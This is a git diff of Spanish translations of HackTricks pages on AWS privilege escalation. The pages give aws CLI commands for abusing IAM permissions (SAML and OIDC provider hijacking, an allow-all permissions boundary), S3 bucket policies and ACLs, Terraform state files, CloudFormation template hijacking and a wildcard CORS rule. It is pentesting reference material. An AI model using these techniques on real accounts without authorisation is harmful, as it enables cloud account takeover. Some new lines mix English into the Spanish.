-Permite la resincronización de un dispositivo MFA, lo que podría conducir a una escalada de privilegios indirecta al manipular la protección MFA.
+Permite la resincronización de un dispositivo MFA, lo que potencialmente puede conducir a una escalada de privilegios indirecta al manipular la protección MFA.
**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Impact:** Escalada de privilegios indirecta al añadir o manipular dispositivos MFA.
+**Impacto:** Escalada de privilegios indirecta al añadir o manipular dispositivos MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **rol que confíe en ella**.
+Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Entonces, podrías abusar de la **federación SAML** para **login** con cualquier **rol que confíe** en ella.
-Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, insertar el tuyo, iniciar sesión y restaurar la configuración previa.
+Ten en cuenta que al hacer esto **los usuarios legítimos no podrán login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y volver a configurar el anterior.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Una herramienta capaz de generar el SAML metadata y login con un role especificado
+> TODO: Una herramienta capaz de generar los metadatos SAML e iniciar sesión con un rol especificado
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(No estoy seguro de esto) Si un atacante tiene estos **permissions** podría añadir un nuevo **Thumbprint** para lograr el login en todos los roles que confían en el provider.
+(No estoy seguro sobre esto) Si un atacante tiene estos **permisos** podría añadir una nueva **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -227,7 +227,34 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
### `iam:PutUserPermissionsBoundary`
Este permiso permite a un atacante actualizar el permissions boundary de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Un actor con iam:PutRolePermissionsBoundary puede establecer un permissions boundary en un role existente. El riesgo surge cuando alguien con este permiso cambia el permissions boundary de un role: puede restringir indebidamente las operaciones (causando interrupción del servicio) o, si adjunta un permissions boundary permisivo, ampliar efectivamente lo que el role puede hacer y escalar privilegios.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
## Referencias
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index 9dba05fff..e24e9d552 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Un atacante con esos permisos sobre buckets interesantes podría secuestrar recursos y escalar privilegios.
+An attacker con esos permisos sobre buckets interesantes podría ser capaz de hijack resources y escalate privileges.
-Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar el despliegue. El acceso puede otorgarse con la siguiente política:
+Por ejemplo, an attacker con esos **permisos sobre un cloudformation bucket** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá hijack el despliegue. El acceso puede otorgarse con la siguiente política:
```json
{
"Version": "2012-10-17",
@@ -34,29 +34,29 @@ Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation**
]
}
```
-Y el secuestro es posible porque existe una **pequeña ventana de tiempo desde el momento en que la plantilla se sube** al bucket hasta el momento en que la **plantilla se despliega**. Un atacante podría simplemente crear una **lambda function** en su cuenta que se **dispare cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**.
+Y el secuestro es posible porque existe una **pequeña ventana de tiempo desde el momento en que la plantilla se sube** al bucket hasta el momento en que la **plantilla se despliega**. Un atacante podría simplemente crear una **lambda function** en su cuenta que **se active cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**.
.png>)
-El módulo de Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) puede usarse para automatizar este ataque.\
+El Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) puede usarse para automatizar este ataque.\
Para más información consulta la investigación original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Estas son las permisos para **obtener y subir objetos a S3**. Varios servicios dentro de AWS (y fuera de él) usan el almacenamiento S3 para guardar **archivos de configuración**.\
-Un atacante con **acceso de lectura** a ellos podría encontrar **información sensible**.\
-Un atacante con **acceso de escritura** podría **modificar los datos para abusar de algún servicio e intentar escalar privilegios**.\
-Algunos ejemplos:
+Estos son los permisos para **obtener y subir objetos a S3**. Varios servicios dentro de AWS (y fuera de él) usan el almacenamiento S3 para guardar **config files**.\
+Un atacante con **read access** a ellos podría encontrar **información sensible** en ellos.\
+Un atacante con **write access** a ellos podría **modificar los datos para abusar de algún servicio y tratar de escalar privilegios**.\
+Estos son algunos ejemplos:
-- Si una instancia EC2 está almacenando los **user data en un bucket S3**, un atacante podría modificarlos para **ejecutar código arbitrario dentro de la instancia EC2**.
+- Si una instancia EC2 está almacenando los **user data en un S3 bucket**, un atacante podría modificarlos para **ejecutar código arbitrario dentro de la instancia EC2**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Es muy común que los state files de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) se guarden en el blob storage de los proveedores cloud, p. ej. AWS S3. El sufijo de archivo para un state file es `.tfstate`, y los nombres de los buckets a menudo delatan que contienen terraform state files. Normalmente, cada cuenta AWS tiene un bucket así para almacenar los state files que muestran el estado de la cuenta. Además, en cuentas del mundo real casi siempre todos los desarrolladores tienen `s3:*` y a veces incluso usuarios de negocio tienen `s3:Put*`.
+Es muy común que los state files de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) se guarden en el blob storage de los proveedores cloud, p.ej. AWS S3. El sufijo de archivo para un state file es `.tfstate`, y los nombres de bucket a menudo también delatan que contienen terraform state files. Normalmente, cada cuenta AWS tiene un bucket así para almacenar los state files que muestran el estado de la cuenta. Además, en cuentas del mundo real casi siempre los desarrolladores tienen `s3:*` y a veces incluso los business users tienen `s3:Put*`.
-Por lo tanto, si tienes los permisos listados sobre estos archivos, existe un vector de ataque que te permite obtener RCE en la pipeline con los privilegios de `terraform` —la mayoría de las veces `AdministratorAccess`—, convirtiéndote en administrador de la cuenta cloud. Además, puedes usar ese vector para realizar un ataque de denegación de servicio haciendo que `terraform` elimine recursos legítimos.
+Entonces, si tienes los permisos listados sobre estos archivos, hay un vector de ataque que te permite obtener RCE en la pipeline con los privilegios de `terraform` —la mayoría de las veces `AdministratorAccess`—, convirtiéndote en el administrador de la cuenta cloud. Además, puedes usar ese vector para realizar un ataque de denegación de servicio haciendo que `terraform` elimine recursos legítimos.
-Sigue la descripción en la sección *Abusing Terraform State Files* de la página *Terraform Security* para obtener código de exploit directamente usable:
+Sigue la descripción en la sección *Abusing Terraform State Files* de la página *Terraform Security* para código de exploit directamente usable:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -64,7 +64,7 @@ Sigue la descripción en la sección *Abusing Terraform State Files* de la pági
### `s3:PutBucketPolicy`
-Un atacante que necesite ser **de la misma cuenta** —si no, se disparará el error `The specified method is not allowed`— con este permiso podrá otorgarse más permisos sobre el/los bucket(s), permitiéndole leer, escribir, modificar, eliminar y exponer buckets.
+Un atacante, que necesita ser **del mismo account**, si no se producirá el error `The specified method is not allowed will trigger`, con este permiso podrá concederse más permisos sobre el/los bucket(s), permitiéndole leer, escribir, modificar, eliminar y exponer buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -122,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Un attacker podría abusar de estos permisos para otorgarse mayor acceso a objetos específicos dentro de los buckets.
+Un atacante podría abusar de estos permisos para concederse más acceso sobre objetos específicos dentro de los buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -177,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Un atacante con estos privilegios debería poder asignar un Acl a una versión específica del objeto
+Se espera que un atacante con estos privilegios pueda establecer un Acl en una versión específica de un objeto.
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Un atacante con el permiso s3:PutBucketCORS puede modificar la configuración CORS (Cross-Origin Resource Sharing) de un bucket, que controla qué dominios web pueden acceder a sus endpoints. Si establece una política permisiva, cualquier sitio web podría realizar solicitudes directas al bucket y leer las respuestas desde un navegador.
+
+Esto significa que, potencialmente, si un usuario autenticado de una web app alojada en el bucket visita el sitio del atacante, el atacante podría explotar la política CORS permisiva y, dependiendo de la aplicación, acceder a los datos de perfil del usuario o incluso secuestrar la cuenta del usuario.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}
.png)
.png)
.png)